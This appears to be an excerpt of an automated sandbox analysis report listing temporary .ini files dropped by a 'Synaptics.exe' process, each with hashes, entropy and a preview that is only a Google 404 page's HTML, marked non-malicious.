Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YRXA7T-ir_OyA5JzSgpGew">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\lIKAJr5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2571858391950546
Encrypted:	false
SSDEEP:	24:GgsF+0FSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+O+pAZewRDK4mW
MD5:	BCA8B16289AA424FB3F34939233A8B50
SHA1:	4E70FDDF239017FD5EBE1667097D45551E50401D
SHA-256:	F1457F6F8852138E0F2025979DDA55F6CB8E0966F5C73203CB21ED6287C9DC06
SHA-512:	FC0BD3A5944F56B3266B7795A0F540B0D2E9718368F74F247E93F49F9964CC7386DFF94F5066EF289D29020702AB892C0C2212FF5E798D44DFB0935BD4DB88EB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7RNv64wpwc0f9SdcEmiUJA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\lsfFAfE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26616280535625
Encrypted:	false
SSDEEP:	24:GgsF+0eUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+S+pAZewRDK4mW
MD5:	5DA7521E4B237F5A3E1C4D771DD68BA8
SHA1:	D16E39D4501C2F6A886A67D72E9608ECAB2CA46E
SHA-256:	2C93B3F0B1DFA43BEE9F1F89135CDE6839127803C1D5694C27175E962B904006
SHA-512:	F9C11187F773EE7FFF6665D20E5DAFC31729645ABF20A4FF891DD48DD35FB529DC34F969C77DCB98041784948BA3092F6E9F5E0A687A5EC7D5203B3C664FDD84
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IS0oGUAsSR451sqR3aMj6g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\lxOgvMs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256747219855912
Encrypted:	false
SSDEEP:	24:GgsF+0lSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+W+pAZewRDK4mW
MD5:	B7201C7FF328BB2FB9742AC7BD2309C5
SHA1:	DC591B7890A295F4FDFFF43235B2290C7AD64C51
SHA-256:	98185F44186D0EBFC8EB12EDBBC7C04EF8391B14582F4D549CAE8C7C9BA59989
SHA-512:	3F22B4D16D9AD75D1C3936E5F6DBC4B4D4DF9646F8FAAF63518E387E5D20788D476E2EB219A06870195072FEFF20FAD4F828EB165134C53CCF2D12624FF08C41
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="dLfKqTk9lb9hRtuuHTiBKw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mSJcS6t.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263727345292719
Encrypted:	false
SSDEEP:	24:GgsF+0g/DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+BD+pAZewRDK4mW
MD5:	8777E76307B0523C9D108E41AB710155
SHA1:	A669C37516CEBB6E4511B3DC3F01F268B72DF0EE
SHA-256:	C522CBB8902DADB6B74BDD394391F2DFF3DAB7C5E4C9E867862ADFF8309BC683
SHA-512:	2AB1A0DAA085318E913DA6042025EC10BD73318A7604FE61292851151D1FF77C8FBAF858C3AB3ED2ACB0BA16FDC08AF869DEBCF7976305D8E310A205180B0433
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="567Wckq32xOELPm80vBs7w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\n2hrLpn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257427789440054
Encrypted:	false
SSDEEP:	24:GgsF+0rISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	6BB5BD4090313B9ACAFA06BBD9F7C552
SHA1:	7D03D5FB96BDA7BB69B67C94CB7F48E4D421DA15
SHA-256:	B84DB95FAAA210D77345533490285462D7F79C70467888800F0056C1BF379A82
SHA-512:	F69232C86DB00BE4A7FFE0C6B1522C2DD10E5168BEAD3E2807F2CE2522EE56C856114626CED507C5F972574270189DC5B73A95215060AC5E5826CDBB78547CFD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="34PWuHkneOasQwftOBnORg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\oSfvd9C.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267612436471894
Encrypted:	false
SSDEEP:	24:GgsF+0pPxDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+SpD+pAZewRDK4mW
MD5:	9FF8EEEA957916DFC5E7EC0F09A17724
SHA1:	A6A568A1CFF420C058BCDA607B09412BE5CB37C5
SHA-256:	23BE19C4CB4CCE1B68FBC23E90E8932C1D107F41265BC72A2AF620B5F225EB48
SHA-512:	E26A84369D64173B972CAEF0C570FB4A17AEB4DFE0F16F7F00DEB749E1A70D26EC897D61A4E77D579A55D8BF0620BC50DC2CBA21E2B2F8B8987C1AEC45590291
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LXK8OAzbS_moojiVUdf3xQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\oiNwvpG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262976731008412
Encrypted:	false
SSDEEP:	24:GgsF+0g1wSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tq+pAZewRDK4mW
MD5:	35F1624C108BF072D8CE97EA14577390
SHA1:	24DF290858341CA69D37A4EEA604F66639CEA240
SHA-256:	F840E6C47480546A04032E01C061A9406E537A0F0F7D625D50E1D2AAB3E767BA
SHA-512:	C4F8322290DC49B82773ED4B7E28A794427445B4B30775F5817422026472BC9A0384D621AB015F3DBCDE62907010942AE26026576C562B551766699925232414
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Tr2zdb6kLFJxFCOZ_qEr1g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\qCbYr4a.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2735018390440755
Encrypted:	false
SSDEEP:	24:GgsF+0kIU39ybSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+pzy+pAZewRDK4mW
MD5:	029233E5B377CE8D01CBE05A66C6AED1
SHA1:	24FB1F2DD45E125AAC56CC3C91FEB48BE12ACB19
SHA-256:	DBACD527EEE6224B896F0715CCC9B4ACA5D3648E67A930EB052203CC552C3B04
SHA-512:	D789994EEB7C304D2408C96664F470551D7BCDC2D057383727528BC6360987E7B23D97224EED506E1A61E77E165A52554C36441D1E8AF8197BC5384566B47F7E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8y-_MsExOPYUSHNWnO48Kg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\qvrDPuW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254136226826963
Encrypted:	false
SSDEEP:	24:GgsF+0sSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j+pAZewRDK4mW
MD5:	FCEBA37F56EA01A59F784C1F8C2DEC4E
SHA1:	FF0745DD24D4B3AC1847AA1EAF9D2DD6F926647B
SHA-256:	4EB0799B8FB585BAFC9304C29B61C23717FE9F8156BAD77DED426DC8FAA0B88B
SHA-512:	678F137E78CA37FADA5A82525C617B6ED8C9F3F9730F88A5B61E3B061AF1EA4DDCE0D6E059158096486CDA770347FDA7DCD8C28427457AA9C816CAAACE42618B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cwdz0HeAVYzyngAKp7dkEw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\s2GpRGU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271469540956
Encrypted:	false
SSDEEP:	24:GgsF+0USU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	FC9C8F906F36B19B163C8BB2BA167D6B
SHA1:	7ED3099FB47292B77FB276CBD49364FA92038CFA
SHA-256:	66399C24B12AE319D0644B21CBE77B67FB74128E1F69C44F2FAB218959DB7F7E
SHA-512:	5E76F2F695145EBB96F0DC605F14E1F9CE023D48A583B9F11F0D6987EB37FC013582508C491DCDCD98EFAF9CC702FD21ACC9E46C49043F58E6E30C8D2B7EED97
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PK1u88oROIC1EW-PRCa0CA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\t5a2dtl.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.249179808557631
Encrypted:	false
SSDEEP:	24:GgsF+0UXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	5ED254FD15F0F4FD817B478EB375B517
SHA1:	BCF6DD93B71A738D8B3EBFFA165130EB890B9110
SHA-256:	8025641871B6083B5A3F7179177A726911FC5B09924D3BE0ABAC9226917BD534
SHA-512:	1DDBCFABA77D8F0333009008CE54F98ABD65EAD426E699A9EACCDD815C9DBB558F3EA4E29336F4A5FE81B6A30BD7527ABB80C431BB2DA347A6A40FD67FDF3880
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Wv1N0RRkc-Kb-P1aiGwh2g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tBC8hwm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265650684965101
Encrypted:	false
SSDEEP:	24:GgsF+0UwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Tw+pAZewRDK4mW
MD5:	7BF42AB609EAEEE2B12E61841E5ED3C8
SHA1:	6D2C376CF7D692DD78A51552E182FBAE98956E12
SHA-256:	475475A2086A7B3225B4FDBD3993629029D63DD33A6DFF117E3F475797490766
SHA-512:	32DF31CB0F648B4CD20B8EC62F716E3FE1B083A68F0750C008306190C8070F0BA25D1327B633AE0A58A63A959961450BBECADC830777E560432F1FEA19424826
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="at0UZjPBsckbVJbUBUMcXg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tPMWK3h.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269360102807638
Encrypted:	false
SSDEEP:	24:GgsF+0vDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+AD+pAZewRDK4mW
MD5:	433C2D438B24EF5D43365473F5FC3EBA
SHA1:	5E38A840A5699D9304189F7E6C131BB6A7836B18
SHA-256:	11635AC5D9F1BC612DF94E28FC064A5E593A70852722508BBD016B5B47B0768D
SHA-512:	67EDE288C045E27053B755F47F482A4F7FFBE803CF3D936DFED74F53602D16FD3BB5DE8A3F184837FF8D0CD414FDEAE875C62D6B7C5601D8E60A280441DB7DAA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="umU3Kf-jJOxLH-Zpk7WrHQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tdK8aTn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267134225813574
Encrypted:	false
SSDEEP:	24:GgsF+075CSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++C+pAZewRDK4mW
MD5:	1ADF351DE05E7B6C1DDF4B303A73DD7D
SHA1:	0E5C2C9EF2C90D234316E932AD4CA44C0DE4AC03
SHA-256:	1BF0EE11D50F4C7808A4B63DB8A6288211E5D778FC0477CFA8790E8A61BB3E8D
SHA-512:	7705A8A6AFDF522CDE908F77D39A1FE7F695991AF0A6176F880A2028F75B794FAD13C348EB1B83B026BD90677B6AC95FACC441C648FEABC1046FCDD5AAE47A14
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lUqqhMNNX-g3efC6ZlA2fQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tfsAdsZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2907576063225426
Encrypted:	false
SSDEEP:	24:GgsF+0uImdbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+VZ+pAZewRDK4mW
MD5:	A7CE4AB62939F9A5443C5856BDAAC8C1
SHA1:	1C31ABF61AD15F1C9277718A996616EFDB83FA7F
SHA-256:	168B48BCF4661AFE1D4C4C958BF0A8FFEC22AE5D0B00C3D7C44D69F664CF39D9
SHA-512:	81269A61991081BA2329D23790EE82B5007C2015D8951BA7547BC736015E3057E28F58943B60769AA8AD12EC1B463FFD8C6106E41057289AFF90DC3F9DB75D26
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NPDjqVBOkKhXCVSFSuIQHg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\tj5ueuG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272004503935795
Encrypted:	false
SSDEEP:	24:GgsF+003HhSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+F+pAZewRDK4mW
MD5:	E99454B109602D6BA4DB97207B32D4E0
SHA1:	5B5A9E7D4D3EA13959ED17D9116F94611BB2722A
SHA-256:	90BD9C4FDC7BF85C4FC6DC808738DC60C289071C9782D6A0B9C514C8374DB743
SHA-512:	E79C35B8657A50F075F6DFAEDA4BB8F19882348362F86D4A5A1F6BB3F74DDD831BCDBC6EEA8A2B9EA7BD0A1CE214994875503AE4DE2C00A9AD8A73DED8E118B0
Malicious:	false
